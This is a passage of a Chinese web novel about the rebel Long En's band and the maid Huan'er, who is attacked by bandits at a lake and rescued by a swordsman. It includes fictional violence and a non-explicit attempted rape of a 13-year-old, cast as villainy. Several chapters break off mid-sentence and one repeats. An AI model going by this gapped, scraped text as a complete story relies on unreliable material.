中年男子故作神秘道“怎么?方才不是还一副牙尖嘴利,天不怕地不怕的模样嘛,就这会儿功夫便卸下来胆了?放心,今日本帮主高兴,一日之间认识了这么多漂亮的姑娘,且看在如此喜欢你的份上,本帮主不介意,倒是想先听听你们的故事。你们谁来把来此的目的跟本帮主讲讲清楚呢?本帮主至今都被你们这俩个丫头吵闹地耳朵里直嗡嗡作响,稀里糊涂的,你们俩到底是什么关系,是一起上山来的?” “你……”兰香显然已经被眼前这个四十多岁的中年男子的耐心惊呆了,长这么大,在万娇阁里,她什么样的人没见过,倒似是第一次被一个人的耐心打败。 看着兰香已然是一脸的惊愣,那中年男子抬手指着尚还怔愣,瘫坐在地上的燕儿道“不如,你来说吧。” 燕儿这才忽地回过神来,幽幽道“大叔,哦,不,帮主。我是从皇城城西衣府千里迢迢来此寻我家小姐的,我叫燕儿。我家小姐,她前几日从城南北山的悬崖上不甚坠落入崖底的碧水湖里,那夜又逢霹雳漫天,大雨滂沱,我家小姐便因此不知了去向。” “城南北山?你没搞错吧,从那么高的悬崖上落下,竟还能活着?”中年男子闻此,大吃一惊道。 “小姐她活着,她一定活着,因为她并不是一个人坠落悬崖的,还有秦…还有其他人与她一同落崖,也都还好好活着。”燕儿激动地欲言又止道。 “那你家小姐长的什么什么模样?可有画像可做参照?”中年男子想了想,又问。 “我家小姐,她…因为她一出生,脸上便有一甚是愕人的红色胎记,故平日里总遮着一白色面纱,所以……”燕儿无奈地道。 “连画像都没有...遮一白色面纱……”中年男子若有所思地暗自喃喃道。 于是,他又着急地忙问道“那你家小姐叫什么名字?” “我家小姐,她是城西衣府的嫡长女,名叫衣上云。”燕儿道。 “衣上云?若曦?…你家小姐是不是个瞎子?”中年男子心中快速地一对比,忽地又问。 “你才是瞎子呢!我家小姐她很好,她是这个世上最好的小姐,最温柔善良的人。若不是因此,过了元宵节,小姐就是城东秦王府的一名医女,秦王殿下可是很看重我家小姐的。”燕儿怎会允许有人如此诋毁她的小主人,于是气急败坏地道。 “秦王府?…哼,那秦王轩辕翰,只不过一个黄口小儿,有什么能耐?只不过是空有个皇族身份罢了而已。很快,他便会什么都不是了。”中年男子信誓旦旦地道。 “你这话是什么意思?听闻近来有些地方上土匪猖獗,已威胁到朝廷,莫非你是想要造反不成?”这时,兰香忽然醒过神来,抢话道。 “造反?这西秦大地本来就是属于我的,我只是夺回属于自己的一切而已。”中年男子忽然握紧拳头,朝着二人一脸狰狞道。 顿时间,俩个女子一脸惊愕地握紧对方的手,面面相觑起来,却闻那中年男子对一旁的俩个手下命令道“既然来了,就别想走了。来人,将这俩个女子带下去,负责日常的茶水事宜,本帮主要留着她们,让她们亲眼见证本帮主所做的一切。在此期间,谁若是敢动她们半根汗毛,本帮主绝不轻饶。” “你们要干什么,松开,快松开……”于是,俩个女子用力挣扎着被俩名壮汉押着带了下去。 第二百六十章:春夜倚楼叹浮生 娇云弄暖春渐深,孤灯扰人愁更愁,倚楼对月空长叹,悲莫悲兮生别离。美人渐旧何所依,与谁共剪西窗烛,卿可知我心中恨,半世浮生半世梦。 是夜,骁龙会当家龙恩龙帮主一高大伟岸,气质脱俗的身影正凭窗而立,遥望着窗外的一片甚是诱人的朦朦胧胧月色。 在其房内一盏昏暗的烛火照耀下,那身影映在阁楼上的菱花窗纸上,看起来似是正若有所思地深陷在一片思绪万千的愁苦之中。 想一想,这半生,自己也曾花前月下,人面桃花红。尔今,唯剩下金戈铁马,血雨腥风,剑指天涯。心中怕只怕,英雄气短,一败涂地,有一日成者为王败者寇。终是逃不过一把辛酸泪,掩没于尘埃。 今生这无奈的相思绵绵,下一世的婵娟相邀,来世再见,此去定当不负流年。 “咚咚咚” 忽然,一阵紧急的叩门声响起,将其所有的思绪通通打断。于是,他无奈地收敛住心情,又重重地叹了口气,道“进来。” 顿时,只见进来个与其年龄小不了几岁,大摇大摆,一袭宝蓝色锦袍,墨发半束,尖嘴猴腮,鼻子不是鼻子,眼睛不是眼睛的小人模样来。 像是受了莫大的委屈一般,一进来便横眉竖眼地兀自朝着屋内的一圆桌旁走了过去,又哼了一声,方才坐了下去,继而对着另一边空地上吹胡子瞪眼,气呼呼地道“大哥,今天白日里,你这是什么意思?” 闻声,龙恩缓缓踱步过去亦坐了下来在其身旁,甚是不解地严肃道“二弟何出此言?什么什么意思?有话不妨直说。” 原来,此人便是与龙恩一起创立了骁龙会的二把手,骁龙会如今的副帮主龙烨。此人极其好色,擅长拉拢人起哄,心狠手辣,又好耍小聪明。 “大哥莫要与我装糊涂,今日青天白日里,为何要当着底下兄弟的面前驳我的面子,让我难堪。不就是两个妞嘛,有什么大不了的?兄弟我这些年来鞍前马后地为你,为这骁龙会操持了多少,没有我,能有今日如此强大的骁龙会吗?再说了,当初你不也是骗了一个又一个的良家女子,还将那户大……”龙烨胸中窝火着欲言又止道。 龙恩听着他恼羞成怒的埋怨声,临话了的时候,原本一副淡定自若地正在斟茶的手忽然间停顿了一下,龙烨便正好收了声。 龙恩亲手将斟好的新山茶向其递了上去,正色着对其一脸严肃道“我知道,这些年,为了成立骁龙会,你将自己毕生所有的积蓄都投了进去,又带领兄弟们到处出生入死,的确付出了很多。但是…我再申明一次,骁龙会不是打家劫舍,无恶不作,奸淫妇女的土匪强盗。我们要做的是推翻这个残暴不仁的朝廷,所以,不要对轩辕皇族以外任何无辜的人动手,永远都不许。记住,是永远!” 闻此,龙烨不禁顿时扭头朝着龙恩怔愣住。 稍作歇息,龙恩继续警告其道“你想要女人,要么花钱娶一个正经人家的女子回来。要么,除了西秦国的头 号招牌万娇阁刚刚被秦王封了以外,城南的烟花柳巷遍地都是,多的数不胜数,不用我亲自带你去吧。还有…亦永远都不要在我的面前投机倒把,试图挑战我的底线,你知道结果的,不是么!” 岂料一时间里,龙烨终是没忍住,竟突然眉头竖成了个川字,一把重重地拍在了俩人之间的那张圆桌上,将陶瓷小茶盏都震碎了,继而又忿忿起身来朝其扬声破口大怒道“凭什么?凭什么你可以,我就不可以,当年你在城南里……” 怎料未及其再次将话说完,龙恩便忽地起身来,又似是鬼使神步一般迅速地移身到了龙烨的身前,伸出手来一把狠狠地掐在了龙烨的脖颈处。 顿时,只见其满脸胀红,似就连耳朵都一片通红的颜色,整个人瞬间被掐的都快要喘不过气来。他拼命地挣扎着想要用自己的两手将其掐在自己脖间的大而有力的手掰开,岂料却丝毫都撼动不了。 俩个人,一瞬间,就这样大眼瞪着小眼,看着彼此之间眼里的决心。 许久后,终是龙烨先无力继续支撑下去,败了下来,继而一脸狰狞地向其妥协求饶道“大哥,松手,快松手。我…我错了,以后…我再也…再也不敢了。” 至此,龙恩方才收敛力量终得以罢手,单手负后,侧身对着其,语气稍温和地对其语重心长道“二弟,你要知道‘民能载舟,亦能覆舟’,任何时候,只有天下的黎民百姓才是真正具有最强大力量的所在。曾经,因为没得选择,不得已大哥做错过很多事,并铸成了这一生永远都无法弥补的遗憾,大哥不能眼睁睁看着你重蹈我的覆辙。现在,我们还有的选,你我也都早已过了不惑之年,凡事定当时刻以大局为重才是!你看今日里的那俩个女子的年纪,她们都可以做你我的女儿了,都只不过还是个孩子而已,你怎舍得对她们下手呢?!” 龙烨听了龙恩的这番话,似是真的有了些许动容。一转念又带着些好奇地默默问道“大哥,这些年来,总不见任何女人曾入大哥的眼,底下兄弟们甚至都还猜测着,以为大哥你那方面不行呢……该不会是…大哥你是不是至今都还恋恋不舍以前的那俩个女人?” 见其一直沉默着不说话,一脸悠长着,龙烨忽然对此更加好奇了起来,又忙上前去着急地追问“大哥,既然心里对她们如此放不下,那又何不让兄弟们帮你到处去打听打听,找找她们呢?” 龙恩凄冷地一阵哼笑,道“找?怎么找?能找的地方,我早都已经找遍了,她们一定是故意躲着我,对我失望透顶,此生都不愿再见我。如今,即便就算是找到了,我又还能对她们说些什么?挽回些什么?身为女人,当初她们把身为一个女子最美好的一切都托付给了我,可我却…事到如今,我还有何颜面回去面对她们。” “这有道是‘浪子回头金不换’,大哥如若是真心放不下,又何愁无颜面对呢?这世上的女人,贯都是哄哄骗骗几句甜言蜜语,所有的恩怨便就都烟消云散过去了。”龙烨一副趾高气昂,似 是极富有经验一样地津津乐道。 ”哼…即便这世上的女子皆都一样,可她们俩个,却偏偏不一样...她们一个是我最深爱的女人,而我却为了成就大业,不惜狠心将她们母女弃之如敝履…另一个...更是因我而惨遭家破人亡,她是我这辈子最对不起的女人。若是再见,只不过是徒增伤感一缕罢了,还不如让她们都以为我已经死了。对抗朝廷,九死一生,或许这样对她们更好,这辈子所欠下的债,惟愿下辈子能对她们得以偿还。只希望来生里,我们还能有缘再相遇……”龙恩终是叹了口气,摇摇头欲言又止道,唯只见其眼里满含着无尽的忧伤。 此话一出,一室寂静。 许久后,龙恩缓缓将一手伸出附在龙烨的肩头上,对其道“二弟,你既然甘愿一生都跟着我同姓,那我们彼此便就是对方在这个世上最至亲的人。实不相瞒,今日所遇到的那个言语犀利的孩子,不知为何,我一看到她,便对她油然而生起一种莫名的亲切感。不过绝不是你想的那样,我只是在想,若是我的女儿也还活着的话,她应该也有这么大了吧!” 看着龙恩一边说,一边一脸惆怅地抽掉了手,缓缓背过身去。龙烨无奈地对其轻唤了一声“大哥……” 龙恩背对着他,半伸起手来,道“我没事!” 为了缓解此时的沉重气氛,龙烨终转念道“对了,大哥,弟兄们都已经准备的差不多了。不知我们何时方才能踏足皇城,取了那残暴不仁的帝的项上人头,再由大哥你来登基称帝呢?” 闻此,龙恩方才重重地吐了口浊气,回过神来幽幽道“如今的西秦朝廷,早已是外忧内患,苟延残喘,四面楚歌。不过,为了保险起见,我们还需再等等。” 听罢,龙烨当即不耐烦地跳脚道“再等等?弟兄们都恨不得现在马上就取了那狗皇帝的项上人头来当球踢。难道...大哥也是闻风丧胆,在担心那个灵空战神,秦王轩辕翰吗?” “哼,一个只知道些花拳绣腿的黄口小儿,何足为患?我是在等那个西秦守护者的现世?”龙恩冷声道。 龙烨纳闷地问“‘西秦守护者’?大哥说的可是那个据传拥有神奇的力量,能保西秦国泰民安、永享太平的守护者?可世间不是皆传那守护者遗孤20年前已经……” 不及其将话讲完,龙恩便打断其说道“哼,西秦守护者,之所以能世世代代均以守护西秦天子为终身之己任,那是因为守护者本身又得以凤凰之神力的庇护,方才得以生生不息,又岂是那么容易便会死的。” “原来如此,可我们怎么才能得到关于守护者的真实消息呢,如今对此,世人皆是众说纷纭。”龙烨此时方才恍然大悟。 龙恩道“此事我自有办法,无须你操心,你只需尽心管好底下的弟兄们即可。” 闻此,龙烨的心里好奇极了,而龙恩则半眯起眼睛来,沉沉地凝视向屋内的那盏昏黄的烛火之光,心里暗暗道“是时候该去会一会老朋友了!” 第二百六十一章:湖边惊魂 纵使红尘千百,无论如何变换;也会如黎明破晓一般,终会尘埃落定。 当黎明的第一缕曙光就快要洒落下来的时候,西秦城南郊外的两座云雾缭绕的青山夹在中间的一潭静谧的湖面上,远远的隐隐约约忽现出一叶随波摇曳的扁舟来,尚还发出一阵明明灭灭,似是微弱极了的光点。 湖岸上,一周围杂草丛生,破旧不堪的凉亭里,一个衣着单薄的小丫头坐在里面,歪着脑袋趴在石桌上,两条腿无力的垂着,似是不知什么时候,就已这样哭着哭着实在累的无力支撑,便不知不觉就这样挂着泪痕睡了过去。 直到天边泛红,雾气散去,方见是一个小僧手执双桨,缓缓划水而来。 那条摇摇曳曳的扁舟很快靠了岸来,走下一位看似虽已不再年轻,却风韵犹存,气质不凡的老妇人,肩上挎着一轻便的包袱。 她微微抬起头来,侧身对着朝阳,露出一抹好看的浅笑,许是因为朝阳照耀的缘故,一贯清冷的面容这一刻似是被阳光镀了一层金,宛若神祗一般。 告别了小僧,老妇人兀自轻盈的踱步踩着光亮的石阶踏入了岸上的凉亭里,一副慈祥玉立之势,温柔的缓缓伸出手去,轻笑着拍了拍熟睡之中小丫头的肩道:“欢儿,欢儿。” “老夫人,老夫人,你终于回来了,欢儿好想你啊,你让欢儿担心死了!”伴随着这声喜极而泣的喃喃之音,凉亭里的小丫头方才缓缓从睡梦之中渐渐地睁开了眼睛。 却是一瞬间猛地端坐起身来,继而又怯怯地蜷缩起身子,眼睛直勾勾地瞪着面前的两个腰间别着锃亮锃亮的大刀的红衣壮汉惊声问道“你们是什么人,你们要做什么?” 原来,方才所出现的一切竟然皆都是梦境。那将手搭在她瘦小的肩上的并不是她心心念念所期盼着的老夫人,而是此时眼前最真实出现的两名正朝着她张着血盆大口,呲牙咧嘴,一脸坏笑,张牙舞爪的看似其打扮像极了强盗匪类的人。 那两名红衣壮汉闻声,顿时上来对其左右夹击,坐在了欢儿的两旁,一边放肆地对她笑着,其中一矮胖的壮汉说道“你这个小丫头,就这么想知道爷爷是谁吗?爷爷敢说,就是不知小丫头你可敢听呢?” 说着,便态度极其轻浮地拨弄了下欢儿胳膊上的衣衫。 欢儿似是本能地一侧身躲闪了开来,心里虽已怕的要命,却依旧故作镇定道“你要做什么?快住手,不然我就要喊人了?”【…~¥@更好更新更快】 “喊人?哼……这里荒郊野外的,除了我们骁龙会几个苦命早起不得不四处觅食的兄弟,还有谁胆敢天刚微微亮会来到这里寻事。今天,你就算是喊破了喉咙,也不会有人来救你的。”那矮胖的红衣壮汉随即故作 四下里看了看,道。 “什么?骁龙会?那是什么?在哪里?我以前怎么从没听人说过?”欢儿连连惊问道。 “什么?你连响当当的‘骁龙会’都没听过。那你又是从什么鸟不拉屎的地儿冒出来的,爷爷今儿就让你好好长长见识。”此时,这两名红衣壮汉不禁面面相觑了一下,似是此欢儿还要吃惊。 以往路经此地打劫之时,人们都是一听到骁龙会的名字便闻风丧胆的,而这个丫头,从她的眼睛里看来看去,似是她真的对骁龙会一无所知。 于是,那矮胖壮汉朝着欢儿身旁的另一黑的发亮的红衣壮汉命令道“来,给这个小丫头好好说道说道咱们英勇神武的‘骁龙会’!” 于是,那名受命的壮汉清了清嗓子,趾高气昂又一本正经地道“好,小丫头,现在把你的耳朵给大爷竖起来,认真听好了。现在,就由大爷我给你来讲讲天下第一无敌帮会‘骁龙会’的丰功伟绩。骁龙会地处西秦以南的山外山,河外河。我们整日里做的事…那就是…哈哈哈…劫财劫色,抗击朝廷,无恶不作。哈哈哈哈哈,哈哈哈哈哈!” “骁龙会…抗击朝廷…你们是…起义军?”欢儿顿时惊的将眼睛瞪地如铜铃一般大,道。 “哎呀呀,小丫头挺聪明的啊,一点就通,真是‘需子可教也!‘”那矮胖壮汉故作一副很有学识的样子插嘴道。 “大哥,是‘孺子可教也’!”另一壮汉绕到欢儿的背后,使了个眼色朝那矮胖壮汉悄声纠正道。 岂料这出一闹,反倒恰巧似是瞬间消除了欢儿心中的恐慌,她忍不住不禁“噗嗤”笑出了声。 见此,那矮胖壮汉骤然面露尴尬之色,继而立刻起身来将一脚抬起,屈膝狠狠地跺在了方才落座的石凳上,顺势拔出了腰间的大刀,将其横在欢儿的面前,朝她凶神恶煞地嚷嚷叫嚣道“笑什么,笑什么,严肃点儿,看不出爷爷们是来打劫的吗?还不赶快将身上值钱的玩意儿通通都交出来。” 见此,欢儿似是又再次提心吊胆了起来,吞吞吐吐道“我…我是出来寻找我家老夫人的,出门太急,身上并未带什么值钱的东西。” “什么?老夫人?听起来倒还像是个大户人家里出来的一般,想必家里一定会很有钱吧?”闻此,那矮胖壮汉一脸欣喜道。 “哦,不不不,我们家里只有我和我 第二百六十二章:主仆终相逢 “放开我,放开我,你们这些畜牲,你们就不怕天打雷劈吗?”欢儿使出浑身力气来,双腿用力地乱蹬挣扎着。 然很快,那矮胖壮汉便将她拖到了目标位置,又将其翻了个身方才丢开手来,自己则缓缓开始宽衣解带起来,露着一脸邪恶至极的奸笑。 “你要做什么,不,不要,我求求你,不要……”欢儿一边乞求着,一边使出浑身力气来用胳膊艰难地支撑着此时已然虚弱极了的小身子朝后躲避着。 她终究还只是个未经世事的十三岁的孩子而已,此刻早已是吓得魂飞魄散。嘴角的鲜血都还顾不上去抹一把,满脸通红的手指印,更顾不得感知其疼痛,就连那可怜的乞求声亦变得愈来愈似是无力。 就在这千钧一发之际,眼看着那名矮胖壮汉手里已一边提着裤腰带,一边一步一步欲要附上来的时候,欢儿回头一看发现再已无路可退,于是绝望地紧闭起了那双稚嫩又明亮的清澈眼眸来,放弃了所有挣扎。 “哐” 岂料,却怎的忽然传入她耳畔一阵似是什么重物摔倒在地所发出来的声音。瞬间,似是她周围的一切都静止了下来,安静极了。 于是,不明所以的欢儿惶惶不安,怯怯地试探着将眼睛慢慢睁了开来,顿时被眼前的景象惊呆了。 只见那欲要向她行苟且之事的矮胖壮汉正倒在地上,大口大口地吐着鲜血,一只手附在其鲜血淋漓的左胸前,整个身子亦都一抖一抖地不停抽搐着,眼睛瞪的无限大看向前方,一副痛苦极了的悲惨模样。 而就在那壮汉的身旁,不知何时,似是从天而降一般地玉立着一个墨发半束,一袭锦衣白袍,外披着一件玄色披风的高大伟岸,英俊潇洒的翩翩公子。 那男子手持长剑,将其横在自己身前,正冷眼忿忿地怒对着狼狈倒地的那个禽兽,锋利的剑尖上所沾染的血滴都尚还在一滴一滴地滑落着。 稍时,男子那双睿智的星眸又即刻朝向身后不远处的凉亭边上,那早已惊吓的目瞪口呆的另一壮汉身上斜了过去。 那壮汉似是方才忽地回过了神来,却吓得已是连手中的大刀亦都握不住了一般,只愣愣的任其自由滑落在地,尚还顾不得捡拾起,拔腿便连滚带爬地落荒逃窜了去。 岂料,尚还没有逃出两步,便被男子手中飞出的长剑不偏不倚正好扎在了其心窝正中,继而惨叫一声,亦扑通一声重重地倒地送了性命。 那男子这才缓缓朝其走了过去,拔出自己的剑,又转身背对着其幽幽道:“自作孽不可活!光天化日之下,竟敢强抢民女,莫非是真当老天瞎了眼嘛!” 话音刚落,男子便赶忙回过神来一边揭下自己的披风,一边朝着狼狈不堪倒在地上似是已丢了魂的欢儿身旁疾奔了过去。 他蹲身下来,亲手用自己温暖的玄色披风紧紧地将欢儿裹住,一只修长的大手温柔地搭在她瘦小的肩上,柔声在其耳畔关切道:“姑娘,你还好吗?” 许正是 这极尽温暖心扉的一声问候,方才唤醒了正处在沉沉怔愣中的欢儿。她似是刚从一场噩梦中醒来又尚还惊魂未定着,瞬间扑到男子的怀中,再也忍不住地哭出声来,眼泪哗啦啦地顺着脸颊流下“呜呜呜……” 半晌后,见她蜷缩在自己的怀中,似是已有些平复了下来,男子方才轻拍着她的肩头开口安慰道:“姑娘,没事了,不要再担心了。” 至此,欢儿方才赶忙跪身下来,朝男子连连叩首致谢道:“欢儿多谢恩人的救命之恩,大恩大德,欢儿没齿不忘,敢问恩人尊姓大名?” 男子忙将其扶起,道:“快起来,快起来。路见不平,拔刀相助,皆只为举手之劳而已,姑娘又何必多礼。你唤我陆大哥即可。” “陆大哥……”欢儿含羞起身,低声重复了一句。 这时,男子看了看那两具丑陋的尸体,又细细打量了一番欢儿,疑惑不解道:”看姑娘的衣着打扮,像是正经人家的女子。不知为何会大清早地出现在这片荒郊野外,遇上这伙强盗呢?” 闻此,欢儿顿时愁容满面,吸了吸鼻子,道:“欢儿是来找我家老夫人的?” “找你家老夫人?”男子蹙眉疑惑道。 欢儿点点头,方才对其缓缓道来…… 半晌后,男子终于明白了一切,对欢儿说道:“这可真是赶巧了,我刚从城南城隍庙里拜访出来。玄空大师近日里并不在庙中,也从未听人讲起过庙内有人在等大师啊。想必,你家老夫人一定不在城隍庙里。她会不会是已经从别的路回家去了,正好和你错过了也是未尝不可的事。” “不可能,这个湖边是从我们村子到城隍庙的必经之路。要么从湖上乘舟绕过去进到城里,要么走路直行是最快的。老夫人有急事,不可能乘舟。再说了,她出门没多久,欢儿便追了上来,可一路上并未见到任何其他人,不可能错过的,老夫人一定不会是回家去了。”欢儿似是尤为肯定的样子道。 “那她还能去哪儿呢?...对了,她有没有亲戚朋友,会不会是去找他们了?”男子摸摸脑袋,又猜测道。 欢儿摇摇头,黯然道:“我们老夫人除了我们村子里的人和玄空大师以外,一个亲戚朋友都没有。” “那就怪了,难不成她一个大活人,还能凭空消失了不成?”男子纳闷道。 此话一出,俩人瞬间都静默了下来。 不知过了多久,男子忽然回过神来,面带着些难色道:“姑娘,那你接下来打算怎么办呢?总不能一直呆在这里等吧。而且,我还有要事在身……” 欢儿闻声,顿时有些尴尬地道:“喔,陆大哥有事您便去忙你的吧,真是不好意思,耽搁了你这么久。” “那你...你还能走吗?”然男子看了看欢儿身上的伤,仍然担忧道。 “欢儿没有大碍的,陆大哥放心,你赶紧去忙你的吧,别耽搁了你的正事。”虽然嘴上说的轻巧,然身体却无比诚实地出卖 了她的谎言,欢儿逞强地试了试欲站起身来,这才发现她根本就伤的不轻,站不起来。 “好了,别逞能了,我看我还是先扶你到那边凉亭里,帮你敷些药吧。”男子吐了口浊气,无奈道。 正在凉亭中敷药,欢儿似是隐隐约约听到了有人发出极其微弱的低吟声来,便忙打断正专注于手上轻柔动作的男子道:“陆大哥,你快听,有没有听到什么声音?” 许是方才怕手劲重了,弄疼了欢儿,只全神贯注于手上的动作,此时一停下来,集中注意力一听,男子还真的听到了一些什么。 于是,他放下手里的药瓶,拿起石桌上的佩剑走出凉亭,寻声缓缓试探着朝芦苇丛的另一面绕了过去。 随着声音越来越接近,男子小心翼翼地轻声踱步,悄悄地拔出剑来,用左手中紧握着的剑鞘轻轻地将芦苇拨开,却猛地瞪大了眼睛朝着眼前瘫在泥潭里的一满身淤泥,似是已奄奄一息的老妇人扬声惊道:“你是什么人?为何会在这儿?” 而那已陷入这片泥潭中足足已有一夜的老妇人,早已是饥饿加上疲惫和恐惧,头昏眼花地一见到此时终于出现的男子身影,似是终于安心了下来,竟忽地晕了过去。 “老人家,老人家,你醒醒,醒醒……”男子忙俯身下去将其身子用力地摇晃了两下,却不见任何反应,便二话不说将其横抱了起来,兀自朝凉亭里飞奔回去。 欢儿远远地一看见那熟悉的不能再熟悉的发髻,那自己每天都亲手为其插上去的每一个头饰,忙惊立起身来,双腿却瞬间似是极不听使唤地怎么都迈不开来。好一会儿,方才一边大声哭喊着,一边疾奔出凉亭:“老夫人,老夫人,您这是怎么了,怎么了呀……” “快,快去找干净的水来。”男子顾不得吃惊,只一边跑一边急急吩咐道。 俩人经过好一番折腾,老妇人方才终于再次缓缓睁开了眼睛。 欢儿一见其醒来,便一脸担忧地朝其伤心道“老夫人,您这究竟是怎么了呀?欢儿好担心你,你怎么会陷入泥潭里的呢?这一夜,您都是怎么过的呀,呜呜呜……” 然老妇人待一看清眼前的一男一女,尚还顾不得问欢儿的一身狼狈,只虚弱极了地吃惊问道:“欢儿,你...你怎么会在这里?若曦呢?” 欢儿似是这个时候方才想起来家中的若曦,便吞吞吐吐道“若曦,若曦她...她本来是要和我一起出来寻你的,刚一出门,村里的樵夫跑来说王二在山里好像中毒了,若曦便...便让我先来追你,她...她跟着樵夫上山去给王二解毒了。” “什么?欢儿,你好糊涂啊,你怎么能留她一个瞎子独自在家里呢,她若是有个什么闪失,老身我可就成了这西秦的罪人了啊?”老妇人闻之,激动地道。 “那...那怎么办?是若曦她自己说,她早起后,已经感觉恢复了些许光感,我才...才……”欢儿顿时亦惊慌失措道。 “赶快回去,快点!” 第二百六十三章:活菩萨说的没错 “什么?欢儿,你好糊涂啊,你怎么能留她一个瞎子独自在家里呢,她若是有个什么闪失的话,老身我可就成了这西秦的罪人了啊!”老妇人激动地说道。 “那...那怎么办?是若曦她自己说,她早起后,已经感觉恢复了些许光感,所以我才...才……”欢儿顿时亦惊慌失措道。 “赶快回去,快点!”老妇人说着,便激动地挣扎着欲要站起身来。 欢儿见了忙上前去伸手将其按住,一脸茫然不知所措道:“老夫人,您不要激动,若曦她福大命大,相信她一定不会有……” “啪……”岂料尚未等欢儿将话说完,老妇人气喘吁吁却依旧使出来一记重重的耳光,先冷不丁地落在了欢儿早已伤痕累累的稚嫩小脸上。 接着,她抚着胸口忿忿对其责备道:“欢儿啊欢儿,你跟着老身已不是一日两日了。这么多年过去了,如今你是越来越忤逆了。老身的话,你竟都当做是耳边风了吗?既然你的翅膀都已经这样硬了,那还跟着老身做什么?你走,你走,老身再也不想看到你,走!” “老夫人……”霎那间,只见欢儿似是本能地伸手捂起脸来,用力地抿起嘴角,满腹的委屈顿时一起涌上了心头,不知如何排解,只得猛地转过身去趴到了凉亭边的护栏上默默地独自抹起泪来。 这时,立在俩人边上一直惊讶连连的男子方才似是稍微有些了解到眼前这二人之间所发生的事。 他看了眼伤心痛哭着的欢儿,随即忙踱步上前到老妇人的身旁,对其恭敬地行礼并劝慰道:“这位老夫人有所不知,欢儿为了寻您,方才遇到了两个土匪,若是在下再晚来一步的话,怕是欢儿她就要失去女子的清白之身了。欢儿姑娘本应纯良,正是因为她与老夫人多年来朝夕相伴,相依为命,这份难能可贵的主仆情谊,才会使她急中乱了方寸。再者说了,无论她犯了多大的错,终究她也还只不过是个孩子而已,老夫人又岂能忍心就此将这样贴心忠诚的一个丫头打发了呢?方才听您说,主要是担心家中的另一位眼盲的女子无人照料,方才至此。也罢,有道是‘帮人帮到底,送佛送到西’就让在下送你二人即刻速速返回家中,不知老夫人意下如何?” “什么?欢儿方才差点……”闻此,老妇人方才恍然大悟,意识到了欢儿脸上的不对劲。于是,便急急欲要起身来到欢儿的身旁去查看她的伤势,男子见了忙伸手过去将其扶稳。 欢儿见了,亦同时朝其疾奔过去扑通一声跪倒在地,紧紧抱着老妇人的双腿嚎啕大哭起来:“老夫人,欢儿知道错了,欢儿真的知道错了。可是,哪怕你打欢儿也好,骂欢儿也罢,欢儿只求你,无论如何, 千万不要赶欢儿走。老夫人是欢儿在这个世上唯一的亲人,欢儿这一辈子都要陪着老夫人,呜呜呜……” 闻此,老妇人紧紧皱着眉头,流着泪伸出颤颤巍巍的双手来轻抚了抚印在眼前欢儿那张红肿的婴儿肥脸上一脸的手指印,继而将她的脸轻轻捧起,嘴唇哆嗦着煞是心疼地道:“疼吗?” “不疼,只要老夫人您好好的,让欢儿做什么都行,欢儿什么都不怕。”欢儿则依旧天真无邪地抬头注视着老妇人的脸,含泪笑道。 老妇人将其缓缓扶起,替其顺了顺凌乱的发丝,顺势一把将其紧紧地拥入怀里,似是想要将她今日里所受到的所有惊吓都抚平了一般。 许久后,欢儿先回过神来站直了身子,用手背抹了一把脸庞的泪水,对老妇人欣喜地介绍说道:“老夫人,今日多亏了这位陆大哥,欢儿方才得以脱险。” “今日我们主仆俩的确是应该多谢这位陆公子的救命之恩,老身给你行礼了!”老妇人亦是致谢道,说着便欲屈膝下去朝其行礼。 男子飞快地伸手一把将其扶住,慌忙道:“老夫人对在下行此大礼,这可如何使得。‘路见不平,拔刀相助’都只不过是举手之劳而已,又何足挂齿。” 继而,男子玉立着望向凉亭外,眼神黯然悠长地默默说道:“只是…如今我西秦乃是多事之秋,俩位若是无特别紧要的事,还是呆在家中比较安全。‘暴政之下必有勇夫’,如今灵空各国对我西秦大地本就都虎视眈眈,却偏偏这个时候,内乱亦是各地纷纷四起。不知何时,才能还我西秦一个国泰民安,太平盛世呢?” “那一天,很快了……”老妇人亦追随其目光望着凉亭不远处,地上的一袭红衣壮汉尸身意味深长地道。 闻此,男子不禁有些吃惊地回过头来,朝着老妇人似是一脸不可思议地怔望着。 这时,欢儿心里忽然升起一抹顾虑,吞吞吐吐地开口问道:“陆大哥,方才你不是说还有要事要办吗?那我们…会不会拖累了你?” 男子闻声方才忽地醒了过来,看着她的眼睛笑着道“哦,没事的。反正我也是奉家父之命,在四处寻找一个人罢了。刚好乘着送你们回家,沿途里打听打听也好,或许还会有什么消息也未尝不可。” 话音刚落,伴随着男子发出的一个极响亮的哨声,一匹棕褐色骏马从一小树林里 第二百六十四章:我们是不是见过? 王二眼睁睁看着村里所有的青年壮丁全都一一绕过了自己挡在祠堂门中央前的身子,一起浩浩荡荡地朝着山里奔去,唯独拒绝了自己的加入,心里失望极了。 他缓缓起身来,转头看着那渐行渐远,声势浩大的寻人队伍背影,心里一急,突然灵光一闪,似是想起了什么。 于是,只见他拔腿便亦只身离开了祠堂,急急向着一条山间鲜为人知的崎岖小道而去。 刚走到快至山脚下的小溪边,见一满脸热情洋溢,又俏皮灵巧的与欢儿年龄相仿的小姑娘与其相向而行着走过来。 这姑娘便是在前几日村里的元宵之夜,游灯走桥时不慎撞到了若曦,又将自己手里拎着的两只活灵活现的兔子灯让了一只出来给其以示道歉的人。 那姑娘一近身便有些纳闷地关切问道:“王叔,怎么是你啊?听说你不是生病了吗?怎么不在家里好好修养,这急匆匆的是想去哪儿啊?” 王二似是亦有些劳累地顿足下来,一边抹汗,一边气喘吁吁道:“哦,原来是小妮子啊,我还当是谁呢!你今日怎么这么早便上山来了,都采了些什么呀,看你背都背不动了?” 王二一边说着,瞥了一眼小妮子背上的小背篓。 小妮子亦毫不吝啬地将自己肩上的小背篓斜到了王二的面前,朝其一脸喜色道“哦,是这样的。昨夜不是下了一场雨嘛,俺娘说这个时候的车前草叶子最是鲜嫩了,极适合做野菜,还能做包子馅,便让我来山脚下采一些回去,乘这机会多做一些,也给老夫人和欢儿送过去一些。我又见白蒿子亦正长地茂盛,便也一同采了些。回去让俺娘将其和糯米粉混在一起做蒿子粑粑,或者和鸡蛋炒着吃,味道也很清新呢。王叔,到时候来我家吃饭吧。你这身子,好不容易被那位姑娘舍身给救了回来,以后可一定要仔细当回事儿才行啊!” 闻此,王二的脸上顿时一脸歉然,道:“这次真是麻烦大家,让大家都为我担心受累了,对不住啊!” 小妮子叹了口气,黯然道:“唉…我们大家倒是也都并没做什么,只是那位姑娘…昨夜雨一变小,樵夫便带人摸黑去山里都寻了个遍,听说其中几个人还受伤了,然那姑娘就像是人间蒸发了一般不见了踪影,真希望她能够‘吉人天相’……对了,王叔你还没告诉我,你这是要打算去哪儿啊?” 